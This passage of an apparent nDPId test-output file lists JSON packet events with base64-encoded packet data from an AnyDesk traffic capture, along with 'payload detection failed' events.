cPQCxm6sg0YNpNLTl0q76ScYlTBmZNSFBbfI7fhARKoB+0pxZW6YHVBQ1uuQTgEkb3957inhiRIbNS0dVrHAr2FZpRX6ONsztkPAKes7Aoysw35dz\/7GUVc+NhSAtbGpbPgSNCqO6AKB6\/DdgchoXLWQ9D4cXe3Hy6s4HVNH1Kljnvpv1lJVhjAvkUU4DFCeYKzZEiLKkxOV7tx657qQkjRoCdy1tb7DajNckOzgGszC1KMRfCagfISokbhtRGK86Qz7lIpboCfi49EqzQqBd9M7y0fvyCWmdQimjSxTNRMhP+1cuDpL+4QOYeFTZQy7jr8q9Pk86ZANvShVtW7roFVI9QhW8NLheA1A+CDSVgAKGheh9vwW7cGpqsrRUS3iwur+DqMDkqoPxeQNfJf0YhVd\/qnqQbPxiT94YXIftAmtR918bBjCPa3CMDusW9BK0rFoIy7p3omcrFc4TCWYZTc4InW\/zJPhNR0VTCifeIhdcxFM\/f3qY61\/FHDbKmcP78ojtr+RJCxmTppOiOlm8Tp5lElAvGND\/9B5vpGIB9APoI1oBfcg7Yrn+OlbvTgaOOcMOFwu9YnN7hjifkbdplJlRcIDFI9L9CjmuqbJhniMM6wvbIeOylkDQ3cStsuIZX3CrgEDinurJBvWSdDc9UFkmsbfAwPf3DCW19n+y9AWsibXRzYnvlZYGAcDhPGz6latTgpqdAdkrJ7c0IDrKUoGagWSc7f\/VzEt1FRZRgErDR8zKAqPMzZG4DCYGAXUuwO4tRK\/Oe5w8zTFG4\/Xwt9QVo2sHPmZx\/jWbx4q0GhNs07Sniq5z+2DxdKx9fZwls+8avts0JZFCduoyJf82oApfLbJvoG8o5Q4bzDcfBBTJtjm1UungGc88RTmIYlHRr4T\/CGqOqEIS7tLxMEhm9nxlCPQSGezKhxq5YESTw6fa4jtrMxKD+M7oGCdeboZjHuixSvr7sOsPzRwTI72XQVCi3aKdmqH\/4IQ5Ephwu3SjjtnrzjaZffHbGywxnBgR4okJcEraWTH0WxWwE2v9Y0I6rJnAnHfjuXdby1W3iktHNFgTT8EiXlAJv1Jgbyz9IaD1uckAmfeaJFY9vjw\/nqSw1AJd0Fw9iinm2WRA8WzagcztVDkQqCosBK4gjpYYIsUA0mFYl8e0AEdfn\/JJArtRRBhLIsZGvil\/2KAI+ubcQKVVT0M1lDB4n\/mRXIx9j8xpDdzn92ShFAvJ4hC8+plRCcWuaPBagellzLFRpFTuDZR0M6sXNlNSbC9CPq4afD8hCmeGq07tbISVcQTFlMefPh3yPL0V8Pgv0DKfrIrQoFyYy1JdPR9t8OT5Lywsjy8olOfCzw7u6nMkw2Ok91a4vzKuiNAb7kmE5DfkWv1OjU8C728sa4oM0HDYBxkvs0mQHNpD5utPCswGh5syGUe5bcOjEHfjUc0w5b1x\/xv0UAwPitDgwvnWgaBc+3xqSrNlivSQM8NEFWniEtC9CDx54BfKHmFmlBQyQEK9+BsjGCD6skUXD2+qlF6qMu+kBBl+17m1\/cjamN65IEsbGyBSrZ6XVoYv+QK\/VV6KGieQxfC7KdqMPDSINp5122lgGr7W+5ftYIoT7BFomY+rCRmbC79LE3a8LbPkYi3iLs3wo+LUiktsteFRDUec4ESaQS5RXxpm9PBNw2maRxzeDROtVheOZ9v2lmgsEXZ4OvguP+Yj5iBf205OGt3RdnGoQ1F83iL84pVpupUhvaunew0OudBF239JfLtBVaz\/47GFD7d91NPxqHwmUNKBHazpjlfSD9+OwYCv4pTG6vzGVtZEf3E6wfN\/mGPqzAARb10qoqUIbp0eXC0cCyVNNwbJO1rE\/8N5gW0Rm6Eji72CQpdqmaho19qnG3pFUDngCHX1NeKwkm+BLvwR3w0m21FIj6sUdtqQWuyWf6IkJJZbKnVm1k67MLm4koFSMwdRHMIgTQrv7B6kgqGdN0rCTn6QwhAWqugyXH4wIhniTwkl2K3NhUe2g30n7b7xhAAPKrKmzx8fiVIsntAJ6YgGqDrADCENS5GxKIFnEDCXXDGFnnhQhaZ2TnrC0YcZm3ZdppMT9qyMN8fTceoZdtQxNLvsGJFm4TLSBuHGEA9XFZsSavZDIunppJOMZ6wQpUcQ8T1DJZ\/+1DVJvXyoNLhB+QlVyOLg6HfFDl6+LfX08GWwCURk1mIjGq1GDjnvhMbe7zRtWKhKUnWJbUaVWKWoWQ3ntR45nVwkGhZI\/dXVb82Q4VD9Xk1P3GgXzDpcaN9K8PmerDix4Mk2y8y6BnwRzMdgNFQDhYiK+VeMnGoEAUTdlQ4dDshQKGNEH\/g\/1BPTPNyBhCmW2k+4XzX9qgB+XXZerqyRuLt1VNLek8x9FrUby+CIz67O3TZ\/QW4lCOgLO+Ku1cwjHV8kgxTezbu44Q0oogYwqGX+jIyCM9yKiwg7u8t\/Va6d2m+ps9+4EzoQssc8nuQh9T4y\/XGUAmTapW\/EXYzSKuzBQXWq3VLOUy56OEm\/U8anwszsVAySrVXkfqACLnYcZqnkaSuA4KdnxJ\/vz0c6wz0O3qfQ\/P4HRuCtNBC726\/ZbNNr1wvDBaG049m77SGfMLuWVQzJ5tb3trr8TgmdRt7KTEN8iXvKRVeWT\/iMWgnciyH\/yZnUnyv5OWmjpJZrVEF6baOojsfBlktVC8yD2otItYvWMkSa2HfsuskRtaYlWVLRPAIrzHc3hH6l41WDQO6KxkQZqSIizb5quEbtu4BhyPZq\/BtDw\/kcU05JGVFCKD4UfzXxi2hzWTpWYOjFulTaFabL43eiQutPOfhhU2V9NF1bQ7y5Sosj8si\/wg6\/F\/MmsCipjVO1\/YUprpUkwT+IFHHhqZ677fJggQT8DIgjb\/gPYbvtC7HYdFEi2jO\/A8I9y5O9vGE9z+4X\/Q7L95JbajF6fushVgXDeoanZOhZm\/BERAAN2RrQ8l3+1FwVVtRrVGOVVsI6E0TXIc1Cp2i1bEUW2fQoZQP7mT5PlDX1Snt9GEAOw7i0C\/+5Lz6ohOA8MbQ2NLm9VporLnYOHux+HSsMAG1XCD0z4L0PQesNjNmlZp5cpODWxWu1K2cOfNFBzR2KwSxddqn6dzHWLIVV6Ni4IyY57CFDVl5eLJWN4u0CeGg3qVs8pWFufis1M7r6IiNRMvaTR85gqAvafKOHNV+HjGV+7yLjsAa8cRlXd5Kgm0xhVb6Jt6RMVyxtu5EnFsd3Y32jgchrhOJR3FYLr6knAgAimPdW5D577Vb\/MIKDKnwm1Jj+ikkepdzeBK6R67GNFsOMAKRbAn8X53QWvj3MD9qGXaiFOgdoXUtCHJr8i6H7c2o3JnTpkgvIkbAky5\/+COQ9aOKcjQ9okRKy9UUbjHScE8InSBBC77\/7VSJ8+tKFxVkthj8VJKE7aZVcoN3d3++PUWxHXj6x\/VCkI+yptD\/EQbDh7nMpP7yMZkeY7BhukfwXSr0UW0cSH3H1oze9ynExBCrltwOVrbv6kJHeFzSznluD12RXniaorcGQRg8TYM4zTVUw7rWQZ+coAgWC6bQC4di\/CN9LLfrsApdV6AACcZIa0uNdgYyo0dJ912xLiKlQ58Fkpr3feUPedGvNQMyPqvsjTMn9eMFkSMCUn5O8KyXVqkqS6D\/jsszzAgiqvXgIcH3J2q86WPy7zmcbHeumIV4DsA9ZmKe2SlH6mYZDagA2ECbXDYQPMHgEFa2r19xNC09SBvRmI2GlGTFYjt4ouuNc5QfgndcCFBefBHCMCOUr+gHoDE0B2qi+A+34HcU6vUxUoOdpmBvMceYBsK0pT1rCLLNa7iC1kEK+NwMiHuZt\/1OWOl0EWkyLFKJZDnDnWKwuy5gLwXTlABx8Ebr5yjlPvHeKUD7+04S87Hnl1dx70vCU8xYsWZeBHvQsbR+YzOkcMo7kRfI4yVM\/KnakLJGJ+vNJ1HtztovIH0j5LisJV1OrojoX3q8k8Qwfnif3eQ6+oZTVtMm91wmP1r0OItjrf9zgIWt2wLKueZlghV7ylC27a3JeDfBTQTs6gFfLxQXSZyolpDcyCUaKxJZcwCYdkDkTAzZtpXdnr7Cqm1BEgZwpCYzuk0cHr\/hKOHjHbSQxzGFHIov7Ha+oe\/HXT83qCZeh6wGlPWb4ycHvwkb2ZhWh+3WrLCZA3M6s4u+n996nPpxEFy0Cn4eYbwLskGjqakd5MSnp9OdvouD0v5k9HdakECgXC8Axak1sue90tEiwL358u38bZ\/jxgj\/TQG+BqROyE71EOvO2xu0p+FNubp\/JkAdsgBS8J5sNNHY2TQWsEpr2psrMOOWapXoe6\/i4ZB6aAfUwL4d5nscuhZhcSk+S0v5nKCEG3p7yy\/EsIGK6xcWNOc9098krHML\/qe\/xSeYnAR+x8hdZ0ouDpCVFCUVst7xj+249DiXX7svs4IerjteINPQYYWzRQMoop4y+VLP\/5Mh+exvmgXMUB35kZbLhJrKxl\/iXS\/bo7VgqIs+O0h72wQogzo3r6dQ27re7oEy1sxFIMoLV8Gvfvjrn4WGxbnUoqWhYsvCsHuxR+F3Ega+oU3oLBjgnltSoIeHbZJfYlqwU1EjwTj9MR65mRH49zmVyQZ3qTXZngiPOPBlBUC3c+8d0WLHiWAslBEJJZ7xd8UfUAnW53G\/Cav3zsFSD8bywJCgkrAJeXlMIyAwTVTdQOSnZ0vj1YuTuW\/8xQBOo8ESaYmY64Nr5NNT7pbrNS6RB87EAHivHrPP2y\/ldesjxCjYpaXLKCxVG18Nfg0kzMTIwAQ3IerZJYXAt8GhEHjFXqyfyjTFLuBJGbE5TuPLAt3W+Dy3MckqL\/I1vOxlncSfittCExad9e5pDvmEnfNYxW6xDdH7LTYi6qUQFhiH8WEit5oxuv7\/c\/svBsh63vfbTi8l0piisthg71xo2pWz69XPQVUcqVEWRWxOjzfiXFay1o8wcVowQuEobyVoI35fN6mK+rwyLL5lSNRNbYvKhqgypgfxP03ugf0npJCR2q\/R2gPYjeaidGBW01YOAtCeoLU6YOCMJgn5F8ERI\/DmjQKvCCGY9nzAoFnJTa1k6pk7RKDRjcY4lKhOPsVYI1NTDfJYo2dcEHaoYlGIzgUnlr6+0ros\/4seSSFT74L9j5+8+hPvFY\/ACeVe5b7NwjIKo+b1bMx1406NoMaUFwvBxBrh2\/a+K46pyt2039yIiuVYe2ToKe0lgBPFgWLTLMdPgrTYtCmeWcOsv9p8+myIPHyzUFxMc7w9FUue7mpYbfKAf0qQyHqAssQHsYdIitdVchM0yI3\/1LEsM2pMpaDHL70dNG8YH0LYDQgmQTOz7ZTVudIkIgfQDB6Mhjouhd8hLhOFzgeoJEt83aJe91FEnL6hg7El1e4JPEVJLFD0vbazAsxnTVUG15cpvpAJpOt9leHwNpam00yE9kYrxXA8hTZxoM21eSc5U0ua7Nirrd9yN1pLjh4c53UNBWVXdHhwzuwpRAH6hr9CewurNBZH7v7ayYgQG7kCtfEvml0FOaT0yJNUG3yBFjyUBCom8q7W3ZbgHPW5mPB9Y4hydSY\/609yR588pbR+FzbAufgrFzyCQxwT3qDlBp2SBkis4m0gqcl8ORKD6j9Ydkn9yo3ycuEGb2UJDn3S1+xSuxif2UfcI7H1YGi5YV4ZJBQo4cvWDj2lVkiWFeoZSda7LI3azH2R0JRlsGgzYzQen\/UBhy+LciFzLH0Q3SKKF2X+WC4QIWPm1dSUfDlj\/ML29+sQPuKRoKuc\/gEKThfXwXtU3EqyTj7U1nfGcctYSCtpWExaBI+tIbcjXuo5zrrdPpCRo7ViTQygz7LhphP3DZHFpojANCPiakjVDVPG5MeBmSkA5pI9WmB2Ih+fv0HVrCOF29cYaSnY84czKKsMGVeHZ0jcXiKOlYv8Zkble9PuotHXdRh4QInb2mEhwRvdtEF+hDT1fmVKH8bzYcmMxp8dKs3odRrGLx739MqczGQe1mmvK49Z+BqAUlUm+osB6CWevnOCQ02smcApPGHosP+yP\/XROXHcSO9Rt9OVysHtUTOWi69EVdUUDYvI8k4sEI2slmsQT3Og+e6z8I16IlBC+uHpdoU0XyWsMXoejfoTXWvoOZqEZQUSL8oUGXDCSilKV49Rtjgoc6ikRJ2goJaxLEn\/kIyFnNTtqlDNNEv4fHnjNsiZJbb4HNhBACJ+ZEBwvyyCu82v6t8kS21hwNuy0\/uA4y60tbeDCO1qPK4Wlii8D86ov3bffHXNJ1g1NN+6WCZF3FgzDK6EeQnC7biS3VCzMkzNOOiJBLkcMs7CjEZZ236sq8fvbyDbz+b7Hy7m1zjGkUJzk7GicqpRTQdzX96g=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1648,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5523} +07812{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1649,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":764582,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgMdAAIAGAADAqAG7wKgBstOUG56PKm+bWcQ671AYIBOExAAAFwMDFXdZ4hNO+msWX3Czw57Tf3Zqaqh3nWe1vVG0OUdWFgI+9zNzqI30H8IYFAz6vo08cyh4UoVJWR2ZfMtshH6kx\/oUPfYnuGJtkRbkYQe14CuPbhtI2guBpaB46HVkdwc3shor1zknZO9EXqfgXbQdS3GeYI\/nQOZ7FNLmB2CZ7WWT588QrQJSbxbND+DmwVrUTI1aqIAwer\/NbpH4hgisOEOvWNg7DtDLbCnm3h3aLnPUzHeWzOcdKm\/RE0Xr9KgwtRf7CKqC5sTlo6RXydf1DUNgOthihlqE3UHfKq7umeM1OiR+bqlx7WlxQliMd+dxJgFaZyBzRbESRtcdt31iQtgvfqPWFyKk5zHGGjOnQludWcMmh6HufIdlpSoKs5VWBou+LuP\/0wrnHO6Ml5gXnHS0R1lZjiXaIxTa9lbG8LO0aQTNBegR3FPYIQ5qfyOR47S0FZ\/NSznDI2Pt9vmjHGleg1yhfydsvjicsqlNAJmqr4IXLX6VCfiXw1vtY7toIfnCDvaYUnL000MdbVtkvewIU2gmkWAszZS5cFZKrLCE9mOTPThaMXtHoecvVBINZGJuh+T604FW\/IHCeWi3vEBuK2FQqppIp+eaLQnyrhOYo+UNKy0NrtM8UHa2dDKOVtiSW0a3jACI1LvprPd0uGCaGTHuq9vkJBg4vhNZWvM\/\/oLvTBmCYcuGLe+ELV9yjhlBT24JYgJZGaW2A\/RFnkaCZf0kZHagUIHqFpoYXQdcoMRnLCrJszUm+5ildQ3iO9UcoD0qggk+zE6hqj+vCDdAucASfMsjIUcK07m+YfIEZ5KZuxdtLvFs6ELvaoYMCn+80MgYl3R0MZMLVM6ZXX1zcPs4d7RtmoBDjG5cwRKuaqXxLhASOOxmMfVBzP7bESoaFphFQue6g75WisUApF613KUiL4+oqtXnZ9jeVOEcFl3DxsjNwzDxy6FkPf6PcaxcA+fu7sr5\/f0UD3Sb\/L2oQ2Wc1SvNvk9Zr9sLRr9tjF\/DbmuyWGdOn+6c3ptwoip0ZO8RHkHhJBZ2GK2oetJ4HGuckhe0DZuUANVdrUChmSzmiiiQidrKjL+OaiPhyT\/1+vtKhmmh5useD3hffsXC4NHz2QD+Xm2E8O655uWovQI8YM9kXtLd4GocNIxW6QfC\/cWSJ1oDIjSbXMDOkbXqEYkp\/KlxOakqsj\/WNYXbJlmmUxXyTpRfrqZIyTuJGGYZI9A8vXPmMeQyOoeATpiP\/2UYvSFoEe9qp\/lp5gAq6PeQDb9J+715AzNPm6v4UA5g9R08Q\/QNEVzYguw+sSAXdczohpUmAmHAiri2SB8WBYPyVFrYkmDPPWw9TJVaGC7JQnIWKItsnWJG2vaOthSUAdTKCEWA2KpuCoowvOH0hWob58Y\/0Phz0y8sslywd\/zAewRICUeBSToEq2Iz9Ijm+AtLGc1c45BSU5veMM0WDnNpxvIi\/nwWtgiLswfoUt+AaItXUajsauk\/gwDFex+ULB8F7arOh70HMk2L9vwlxI5U11LSG6jcM+nVSt7rXyPJiYDGu5CfdkCYGcxWZFLn7euhvBrZ91xEli936dcwVZe2J\/RmD8GKzwwdcHj375VGcXL3wsAyOs+voigYTuWgFQVAyoQ7eHC4k5bb4sCGuKwoq7aPRocQuTcF65LdcGuS8fhL6ZNOYq7EcT2fL0s064tFH4lfaUBKEqokyHyLLQgq6DEkTRqhgnjymWdmgjxAuUzGnpewIxs0jh2lTeaYfnAXhg0SOsex+RMonLKz\/6TAWAlmhKbXUugkhp2oCr8XYb73qLhovavHuQqgQoFvHc7U2s8JiFzrKmMcWHCQy1v4S8KRuqvhoD8LkiSbnelLPFc0Z2OS0hlnX07Q+sXh+C2kLDfYR+ZpAx6VHZlqTXL9YfcgX\/mf\/hnTUNvmp0lQ4OEY4NLSf9KS6YUbpBtsIDdKsHuNDJFLW9R7TTcrSIc5j6jvMisLexHn1ypsARIoaZX+hAQR0wFpUFA4j\/WyVheMVHswIN3AgC+vLKAzB8MoRu\/QVYXtvbTz7y\/1y7OiqBPc9azYOVNUh3QA2iTScpyKB7FX3id7KEuTCd7EYGUOZj6UdVWFurYA1m1nM3S10h8cgjyAxS9ei1r2jd94a1zQF1RbfThWWhcyTBvKhXtFaFkFyMaVQ9EtehuQsYXOjnimcIIt1JhY5AEl8YMqDvUO\/EUzvc45SoqsY0XWMJm7vj+ysdYxtCOKdEoQaBNYXHJdm5F8jDsDVvKtJ7zNzopHfwvuh8op39OyfzqFzktCkELinSmcc6lTk7Nd5iB8Y37QcQQwZ6aeaTppCDm1IO0dTzsNp9pXlsIPmVeOImY7IQafIRIsL8oehXi1NyzrQkeOaG0xosJEnWb+oN8Z4sD485fatse\/FH6nYSvo9vqFduTNeO8tHt7ceiQxzaQphRKaph3bqYp57ObUTCjbovAGINY+\/SG92gXO8MuTwhobEfztbqdphjcam4hhv0OXCF3v3Ho9qbkYyjI4QKLIsfdodiE7M\/qFg2CLDXsv5bsrPBbknHO7hDNfBCQbzbpe4ywp26I3Ad59ifYE7AtZKFIhifHWduL3SVXYaHirrZYnNTVZLpQhHx\/9Our1wMiFNXXu9kRfmFzkFHWIgYos6dd9qV8TrOSXnSeyM8BrL1PYsQfhmMjrHL0rlISRSHrJsWz+boit3fZsxiefx9h4V79kCOA5EHEzHZDAk0sdTnVk0GadSVmO80JBjW1yOXlyG7i6fJR0H2WxMMMaB+yFdyyyyph6W9GqzsK7zlk3inmnTlF\/XJwTeZfygkMl1zWpuAZ+Bh4lzehakCwSYvXg\/wmnNlV1CztgvhrSs9IiZzw7m0rtlKN4S6n4unGBxCSTE\/y4bKz+DV5tErSirGxI4DIgtHP6zVKdN8lrDYm+hK3Zg33IDx4D1VWOMDk3HCS3keLnWSQXpbTyQ+VuPFriYGx0aeEXO+iLkQXey+\/Ws9iNXgWXyiQex6qzeBLuEokmWTSEnqb1RBlMGyrZ2lp8ltsp0imyTsV3o7KpBlrJf1hPqNiB6P0wfWnK2Gvy61w66bHZG84ZTqq5V7Vj7qxegbq00xHXHYvBJaJRymeon4pO6MCfX6TZbYpxReZ1AHZAo8tS0n6idN4gBBjb+Islq92V3Xa62ttdkRJbYWwLdD\/TDfcMV5Y79lv7E5VqJ1k6pi3E\/IVnkZkJ4eVTD6AuQKNLuR32Y49pi369e0s8cJd6kGSO60uLbdhrduzAZ1Xu1vs\/UFlWjdBfP+ztORJK6E0RW5QFMkM5dJmXTNKhT3OErgV8aMrcej+I0qXqiYoo6YyVC2aqaEQi+uOxeNWIcTYRb76bNU9WNuCOX6Ziul2hc6IHV0sLzvWlzWbuTRtZllsyHwZBi04hW79Mg2Uu+qLfUPQCHB5EqYilsTlwevG7OlnqqGZoe9Y2vu9M0yY7oTmRqu+I1ZLmZ6vkuugCNOYD7vcRfMefj0UkE1TBqnO79Qa2GUvjeADGCjBn3LqLUJJ76VJ56CqHr6SUyPkgKm9SF7SBiONunRM\/5bx7yLZw8OVnO4a6gIioPwxGxeoZU21UPYT8\/c9t63isFDDLfI7qswiZq0aFJlwaqmRAnPuGKNzTYBKu\/N3X1EDKsye7wxkSXsUN41jwIvmqahtouM01fGGhrw+z+QJkOzw4xVcjuJbL63orM6CEMns1VpjMQb8xfCMn8BHf3VSxX4bsiSAV4nrRWXgAIBPiCCL+dxbhh4J8TstxmJ\/RXTCS3ehJBZRnVdTeVg4lYeO2HlKx2S3BQQd3PrJGAAyx3VSa8EP273zf7Anw9ZTHl3GXRHMFHMBZgkfkT3s8Ib7obqruKCUHcDitOHRN0QRrr0V+6XJr+ZtBz+2vIIXm\/kZDg+ebtYwl6ioANmGwYEQXA9R4UYwA93MK\/8mn2pXwoIzqHRAjQ3+dyPv+j5se5Nrwj5hfw5eN9sgwG+iADlSLgj09F+jTRY9JyN4wdf1GJR+ptHBAGs2KeVl9tEDL2Dk0o0J4ecIhsSAaETvoo+8MDawRgGxg3lG\/Q1p8xN0ukO8Lpu0L29pR7Xyb\/4PNathOffep4VkhBkER4V0HVfml0d0ZWfTavofx\/GtEU2YaPK5icMcFDyPfdyCNYnMpqzhqpktODWNNcUMyaXmkNPBx1xtUc\/H109VSruQN0dF\/YQSdhP031v5Vo\/oC382EL89V1ViajM0fMkyScr4dkAofGTnhkskeT7XuMrqjBCuLK4lzq+B3XDO5K5kjtq4ZtyjXMFXWQVt0T16ej9GtsMkwmBMn6aUx7sMinHGLr0fnZgGArZ3fhNp86kOljvqyyhK91HOR\/TujdJGhPr8wmNL1wxkb\/5Tt2nN2ox5K+uXHLxJfJ\/O1nQ5\/bMW1o+pXYSneb1sm2cV9eF2MQX8aXVc5DdJHMLeJWLzCt\/Uz2HKTTo63zw9Z3iDvEZtchgYcrwjq2Tt7gYvnxdzwHlHVUkJqNxuv1eo48XFb\/jYu96P05iH2kKH0qCttALfNknv6wc9E00v2lwviB3XBmNYF1se7HeTi0sm9wFcIuEtDNsMXgeVrz7Mra\/dH+IvsUzyDI33cWsOXC3qbSHEYSfRfpgyI9XCCyvoAGKSrMy7O+iiZgAcLkvsppI7Cdjqe5ziJmhE3TAfLza0W23Amd0m6cAW73NQUmR7eCA1XXOMD2UAyQ39QmODOjn5q85\/BWHVWGQ1xrsqfcEa\/wzvOnDr\/718Gv7R29UFi3uyugQOev1agbVL3MEbLUZA+U+U3rz2eMqH87y1hVGI8ncHH4WeqR6CyO0ex5tFokjGrpG2IL0HQ8yjLrUT0rwh2OiF7KRVHaXWiZ9Hvp\/TD6CkMnvbgxKyWNW7OyO\/Q5vglE6WJcWXh9xIV6F+gCCCfXV4hVeWKnfzUXh5kpBpjf+WXGNAjByu4IkJcLH64auGI4K3F9WoEy57zeA7d+XiTd8d4nJojyjurQxldP4K2066rmncC2WSSvba1skiWudzsUzDtkiXWO8V3XBI4Fk\/xqGp1E+cNyNOBiBRrk+PAWTRiJ7vABxYtCgavAVvYhRyXm0LpML9yTONRYxEnPpFRKTQWL\/ix2oeF3i1bu4dExCcSx+EG0zUQhRjn6uVHtNkESZ2xkDksYvBoZIaM3gD1fJ3jPXkfrgH3LjCvQrcYv\/DpMMVFk9hWNj9Xz57gZCaZjEtAA2sB802qR8P\/x0ehFCLv3jMXDvaDYzzCFk34pcnxu6Wur7OJGG7zyddBa1BpUMEx01QuiYClYygd3wyismnc5xnKl\/rgQIn4+Al6kF7t3gdqkmdYm4h2hMytliSmXp7kLpY0MIv\/h4WbApe5CKUXEwJoBbEnY3ZKWEfJgvEKbVc2MAMfGGrcCmyBwQx2JgN0T5zrXe60QsrJH3qfDynZz9gqPZDGJYoUqj\/xjsm4qN2+55zU0zeiSzpkMJE5TxnhhviNJwOCaYSNr0poiSQG29zmLJfmesTk3erSyPuL6G9W2WptzGwUzWzk+4RXSzqh8NdoawhachcWO27DMx2ldR79VUbDllumRgK74LE\/vxeC6Qr2lRFTXELc5m4vY\/oihYwfwJr1YDDt1n+C+Hy6Zh1See5CH7Qykcc\/h8NgI1piL27OHMcZAc0vkdQKRQjSGwKhNCvfy7xJ\/i21T2eWZAJuG1ypLCmEdgVJezTL9Ibn\/I+zxWDhKxqTPknNrFpUnsQBxtOS+4z3OvE\/nVXxQyGSuAMUm4yBw\/BNxQMZo3UkVkUp8ZAadJ87vfSZULTItOPNEZrRYOYABiz0xmJb7S+1CgJPSB7r7pZ7KkRXZr98B3NAbRT8o6ZuiFd4pS7b1F3ozMtBSNA9T9v1kfkOIdc6QYk8WVypDy6a8GRxVguspQu+GgjNgfrcymwyTYQ4DbU2uEwNPDaQ6kgJbV+vXyQjPQFPr3LshsN7fjoLO5uCxmkTMDKqHdCxlsHPq1CEzDAT7BdnRsCxmeuHk3CoKnzDmJFEVT7ovZ\/Y1z8wH0zoBFNfJOC5UDyhsQM2BZIiQXrSf82Cr36WnZF7qNRFGQ8yaMWbcAsJbUGksthw6XwQ7Sunvol\/keqUZpDqXwRjBiHlph\/dGDnzxReyNwbM3OreI6d1TD48uUQooUr5U25CB5fxhlrYANqNxWGnvOoeazQ\/hl2eTil7Jle4qyXhcIdXox8TPwR04DpXnYGKQCa4HvS0yfrXuNudLsfVMg3DuOf6ngYbPHpXqO+GJnfT9EBeL5bkUAZbin7um5vO8yBr89sJfLecFkUBK+8EOuz5inUUc04PFkHMVcruL3ny3SAe+lfX168ycNVVKmhFqdzu0YP2oFvB1AoER6yeVEKTyU4l3yEilWRt8P6ttbMruyDA\/qKwfy+hdEoQzYvCHuyO4CwHWwrMuB6TeqKslFu8UI8jApDKLGpfQTDRY3fnirEewnmPJ4JEIdObpwp4KtL4aOIFPTicoPXAiECFCKwJnRe32jmscRkWpGoTDQN65LqGuL6vQyiH0WZl1s5fWZVAcUq5Wn0EgX8ZJBlLTLVncba7\/xESGiEB1cEU0YvVi6lkSwjhyZ6mfFf1jLaTCeXuDiZ8kVzuAkm5LfXdd6kIwxxga+0E\/zhyte5OZHXyUvngBhma3aAOue4Lj+tHK0EETGquTrCvolX60p4xG3Nv1cpqAi0uUuDq58D1Q3gjNajTxw5DNoiKWLBMEIBbHzaqvpRa\/wUNjOOLNM\/JFCLFysOByvYsqWsLX+DK3TXDHOySvK3F7ukTZaKg8Cz5fg7rVOBGGp4O5jkvD2VOK18pHsHH8M51pXqljOtkO7IPnb7UOVfsWSZgi4BhIZZcZxUGN+qYEP\/Gm8kK4ofe2H0\/ExjiuRcCUZu18ez\/2d6UwVvMBsckbBhS4f28KlF33YekSF+flUPBy\/ETivKQA0c8WZX6atYUXnMBivH8qk\/T8fda+Hzc4PozLftguhhxriFNHDJPmlViBSOfijVzO3Ky+t2nZwBB63ghItfDrZFoGo7\/xYHA8soBIlwGeAOlET6XuNnwDTgIRP5B1G0gyVpdtLD13VJ4tSTBCGoz+0vSFQtFBLaNYQPVj7vvLMRRltEDmjOoWuFUeN7V+VlBuu55f1+h4MvyhJMfBrXN97BiNsjKhYzsXANxtRwDpnbYis\/zQQoFN3Igur3oRWLT3nvx3DuQ6yGAYOKqSNowo9N9EAEVgsAMg+OWoNTuf7UkV+gRqWlpQpwJKMuKDLe9pPQMHzdpozh8Kza7jItIazds\/tH6mPcirz\/UVOQVUQqHHnFr44vCtPQ1eDHHZSC5cA=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1649,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +07830{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1650,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":764603,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgMtAAIAGAADAqAG7wKgBstOUG56PKoUXWcQ671AYIBOExAAAFwMDFXdZ4hNO+msWYGDuY9\/SeO37Gtc6tNsMGs2IYuYdwDtF2nGCm3uzAgMH3YNkTIRVXrE5A4NqVxle1FCcyoPNH83w+XAL5TDrS42kDMU\/v6jHOJ3cj8vSn5UB7AfjVEaH3swB1k7mRvfl90JjG6m36nzALJktJGskVzfAw1\/KVjtkQi9cogSAysaxjWcJxAxv4n2RiHFwz08XhDSmjWmxUkAXYfEotkXO6fOiBfF97pmKpBfvCmc1RlT4sVBK8wvz61dv3Wjks3J0hO1D+0I+Sv7bLrEK5r\/Nw6qz\/Z7jI4FSHj\/TWsTcWGbKN+xyczi75uWuNpXCYzInbZu6OIX5BGXl0Qy\/6Ln9kl6q1QolJvny07dMvVD62cIMJfEgs9Pqzbmum\/LBaHzl8sHF6etx6d+IsXRwEF4ABoPH4oFgtJkrUvaJJ5bDgAcg3H2oeURk\/Zoc9EPWX4Iu1K5UuNo\/UCnqSivM5NdR4S7QxNfWCQLF1WaqW8H3TK8fSMx0NQvEsV7qyfM04ClAUHl7gSDGnZ8R0ttvAG4bVndec2ak2Ps5HMzDrhoEgN2ls0Wyk41K30Tam3N\/gO0gAXuxqMEF7OcFLZhYDtlTU7HuTWMl6wHHHoh0fuHlDpcU1HfS\/Pj4qTbFjFiQXLWlxGbZdCmPT7D6qV8um3ycGxhM0yJAPBaDwl5DIclUY\/C8wd3YKBenGwLNaoQkTJbZamdJ5+3HtnHRZKjEU8937pG1GTkyl9swumWoFV\/tZmP5nDUbps0brEX+IYBKfRSbX0Nor5\/ZWfOPlKcFkFVlp2+hkrBwiRiXh70IoP0+c7FTUqonOBaw\/h6khOXmd1xeFdgonNpwuWbfe2ldBr33NCJuh8ZnPkEaps6RIE+ofM8DYmG30xOwDIPOkI46LLPOH9xpu5rORXRdwlPyBgOrvgEfN8n94dCAq2Bw5smI7MAYtjy8AboIP3vXPaCI\/8ZOnSHp\/5lZhFgdS2ipG5FA3fb1NvDU3VppL7HN0chk4jQfmN4GuMkMOBZ9ZZs1qdQpIPUngvJSgVL6aTZz1gIwlk5etyKKVmAblmfaombzwie+NS9AytU85ThJksqPHaKnzVQjzqK7CMxLsgDGIZgDJKTWeJwp